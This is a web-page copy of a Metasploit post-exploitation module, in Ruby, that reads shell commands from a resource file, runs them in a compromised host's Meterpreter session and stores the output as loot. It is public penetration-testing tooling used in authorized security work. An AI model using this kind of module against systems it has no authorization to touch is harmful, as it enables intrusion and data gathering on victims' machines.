Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/multi_command.rb
19758 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
8
def initialize(info = {})
9
super(
10
update_info(
11
info,
12
'Name' => 'Multi Gather Run Shell Command Resource File',
13
'Description' => %q{
14
This module will read shell commands from a resource file and
15
execute the commands in the specified Meterpreter or shell session.
16
},
17
'License' => MSF_LICENSE,
18
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
19
'Platform' => %w[bsd linux osx unix win],
20
'SessionTypes' => ['meterpreter'],
21
'Notes' => {
22
'Stability' => [CRASH_SAFE],
23
'SideEffects' => [],
24
'Reliability' => []
25
}
26
)
27
)
28
register_options(
29
[
30
OptString.new('RESOURCE', [true, 'Full path to resource file to read commands from.', nil])
31
]
32
)
33
end
34
35
def run
36
raise 'Resource File does not exist!' unless ::File.exist?(datastore['RESOURCE'])
37
38
hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']
39
print_status("Running module against #{hostname} (#{session.session_host})")
40
41
::File.open(datastore['RESOURCE'], 'rb').each_line do |cmd|
42
next if cmd.strip.empty?
43
next if cmd.start_with?('#')
44
45
begin
46
tmpout = "\n"
47
tmpout << "*****************************************\n"
48
tmpout << " Output of #{cmd}\n"
49
tmpout << "*****************************************\n"
50
print_status "Running command #{cmd.chomp}"
51
tmpout << cmd_exec(cmd.chomp)
52
vprint_status(tmpout)
53
command_log = store_loot(
54
'host.command',
55
'text/plain',
56
session,
57
tmpout,
58
"#{cmd.gsub(%r{\.|/|\s}, '_')}.txt",
59
"Command Output '#{cmd.chomp}'"
60
)
61
print_good("Command output saved to: #{command_log}")
62
rescue StandardError => e
63
print_bad("Error Running Command #{cmd.chomp}: #{e.class} #{e}")
64
end
65
end
66
end
67
end
68
69